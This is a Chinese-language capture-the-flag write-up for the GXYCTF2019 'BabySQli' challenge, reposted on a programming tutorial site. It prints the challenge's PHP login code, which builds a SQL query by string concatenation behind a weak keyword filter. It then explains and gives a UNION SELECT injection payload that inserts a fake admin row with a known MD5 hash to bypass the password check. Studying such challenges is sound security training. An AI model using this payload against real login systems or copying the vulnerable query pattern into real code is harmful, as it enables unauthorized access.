好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

BabySQli 1利用联合查询插入数据

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5--> 2 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 3 <title> Do you know who am I?</title> 4 <? php 5 require "config.php" ; 6 require "flag.php" ; 7 8 // 去除转义 9 if ( get_magic_quotes_gpc ()) { 10 function stripslashes_deep( $value ) 11 { 12 $value = is_array ( $value ) ? 13 array_map (‘stripslashes_deep‘, $value ) : 14 stripslashes ( $value ); 15 return $value ; 16 } 17 18 $_POST = array_map (‘stripslashes_deep‘, $_POST ); 19 $_GET = array_map (‘stripslashes_deep‘, $_GET ); 20 $_COOKIE = array_map (‘stripslashes_deep‘, $_COOKIE ); 21 $_REQUEST = array_map (‘stripslashes_deep‘, $_REQUEST ); 22 } 23 24 mysqli_query ( $con ,‘SET NAMES UTF8‘ ); 25 $name = $_POST [‘name‘ ]; 26 $password = $_POST [‘pw‘ ]; 27 $t_pw = md5 ( $password ); 28 $sql = "select * from user where username = ‘". $name ."‘" ; 29 // echo $sql; 30 $result = mysqli_query ( $con , $sql ); 31 32 33 if ( preg_match ("/\(|\)|\=|or/", $name )){ 34 die ("do not hack me!" ); 35 } 36 else { 37 if (! $result ) { 38 printf ("Error: %s\n", mysqli_error ( $con )); 39 exit (); 40 } 41 else { 42 // echo ‘<pre>‘; 43 $arr = mysqli_fetch_row ( $result ); 44 // print_r($arr); 45 if ( $arr [1] == "admin" ){ 46 if ( md5 ( $password ) == $arr [2 ]){ 47 echo $flag ; 48 } 49 else { 50 die ("wrong pass!" ); 51 } 52 } 53 else { 54 die ("wrong user!" ); 55 } 56 } 57 } 58 59 ?>

   经过审计看出,关键代码部分

 if ( preg_match ("/\(|\)|\=|or/",  $name ))//过滤了小括号,or,和等号。

 $name =  $_POST[‘name‘ ];
  $password =  $_POST[‘pw‘ ];

$sql = "select * from user where username = ‘". $name."‘" ;
 $result =  mysqli_query( $con,  $sql );     


后端接收了账号密码后,居然是直接用接收到的账号作为查询条件进行查询的,查询出来的第二项结果如果不为admin就会die,也就是说输入的账号必须为admin,随后对比admin这行的密码与输入密码是否相等
密码储存方式为md5加密后的密码。

  

  利用联合查询临时插入数据:

 select  * from user where  uname = ‘  zhangge  ‘  union  select   ‘  1  ‘ , ‘  2  ‘ , ‘  3  ‘ ;
此时查询结果出了zhangge那一行,还会多出一行联合查询的字段,作为数据临时插入。
利用这个特性,首先随便选一个密码例如1,md5加密后用它作为临时密码插入。

 

  构造payload:

  name=zhangge‘union select 1,‘admin‘,‘c4ca4238a0b923820dcc509a6f75849b‘#&pw=1

 

[GXYCTF2019]BabySQli 1利用联合查询插入数据

标签:mat   cti   代码   mysq   审计   val   turn   wrong   rgb   

查看更多关于BabySQli 1利用联合查询插入数据的详细内容...

  阅读:28次